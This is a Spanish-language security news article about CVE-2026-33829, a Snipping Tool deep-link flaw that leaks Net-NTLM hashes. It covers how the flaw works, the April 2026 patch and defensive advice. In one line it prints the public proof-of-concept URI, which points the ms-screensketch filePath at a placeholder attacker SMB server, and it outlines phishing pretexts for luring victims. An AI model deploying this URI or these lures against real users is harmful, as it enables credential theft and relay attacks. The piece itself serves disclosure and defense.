Se ha publicado públicamente un exploit de prueba de concepto (PoC) para una vulnerabilidad recientemente descubierta en la Herramienta de Recortes de Microsoft que permite a los atacantes robar de forma silenciosa los hashes de credenciales Net-NTLM de los usuarios al engañarlos para que visiten una página web maliciosa. Registrada como CVE-2026-33829, la falla reside en cómo la Herramienta de Recortes de Windows maneja los registros de URI de enlaces profundos utilizando el esquema de protocolo ms-screensketch. 

Se ha publicado públicamente un exploit de prueba de concepto (PoC) para una vulnerabilidad recién descubierta en la Herramienta de Recortes de Microsoft que permite a los atacantes robar silenciosamente los hashes de credenciales Net-NTLM de los usuarios al engañarlos para que visiten una página web maliciosa.

Registrada como CVE-2026-33829, la falla reside en cómo la Herramienta de Recortes de Windows maneja los registros de URI de enlaces profundos usando el esquema de protocolo ms-screensketch. Las versiones afectadas de la aplicación registran este enlace profundo, que acepta un parámetro filePath.

Debido a la falta de una validación adecuada de entradas, un atacante puede proporcionar una ruta UNC que apunte a un servidor SMB remoto controlado por él, forzando una conexión SMB autenticada y capturando el hash Net-NTLM de la víctima en el proceso.

La vulnerabilidad fue descubierta e informada por investigadores de seguridad de Black Arrow, quienes coordinaron su divulgación con Microsoft antes de hacerla pública.

Cómo funciona el ataque

La explotación requiere una sofisticación técnica mínima. Un atacante simplemente necesita alojar una URL maliciosa —o una página HTML que active automáticamente el enlace profundo— y convencer a la víctima de que la visite. El PoC de Black Arrow Security demuestra el ataque con un único URI activado desde el navegador:

textms-screensketch:edit?&filePath=\\<servidor-smb-del-atacante>\file.png&isTemporary=false&saved=true&source=Toast

Cuando una víctima abre este enlace, la Herramienta de Recortes se inicia e intenta silenciosamente cargar el recurso remoto a través de SMB. Durante este intento de conexión, Windows transmite automáticamente la respuesta de autenticación Net-NTLM del usuario al servidor del atacante, exponiendo credenciales que luego pueden ser descifradas sin conexión o usadas en ataques de relay NTLM contra recursos de la red interna.

Lo que hace que CVE-2026-33829 sea particularmente peligroso es lo naturalmente que se presta a campañas de ingeniería social. Como la Herramienta de Recortes realmente se abre durante la explotación, el ataque es visualmente consistente con pretextos creíbles, como pedir a un empleado que recorte un fondo de pantalla corporativo, edite una foto de identificación o revise un documento de RRHH.

Un atacante podría registrar un dominio como snip.ejemplo.com y servir una URL de imagen convincente que entregue silenciosamente la carga útil del enlace profundo malicioso en segundo plano.

La víctima no ve nada inusual; la Herramienta de Recortes se abre como se espera mientras la autenticación NTLM ocurre de manera transparente en segundo plano.

Este vector de ataque es especialmente efectivo en entornos corporativos donde los correos de phishing que hacen referencia a portales internos de RRHH, mesas de ayuda de TI o sistemas de documentos compartidos son comunes.

Disponibilidad del parche y cronología

Microsoft solucionó la vulnerabilidad en su actualización de seguridad del Patch Tuesday del 14 de abril de 2026. La cronología de divulgación es la siguiente:

• 23 de marzo de 2026 — Vulnerabilidad reportada a Microsoft.
• 14 de abril de 2026 — Microsoft lanza un parche de seguridad.
• 14 de abril de 2026 — Publicación coordinada del aviso y el PoC.

Las organizaciones y usuarios individuales que utilicen versiones afectadas de la Herramienta de Recortes de Windows deben aplicar inmediatamente la actualización de seguridad del 14 de abril de 2026.

Los equipos de seguridad también deben monitorear las redes internas en busca de conexiones SMB salientes inesperadas (puerto 445) hacia hosts externos o desconocidos, lo que podría indicar intentos de explotación activos. Bloquear el tráfico SMB saliente en el perímetro de la red sigue siendo una medida defensiva sólida, independientemente del estado del parche.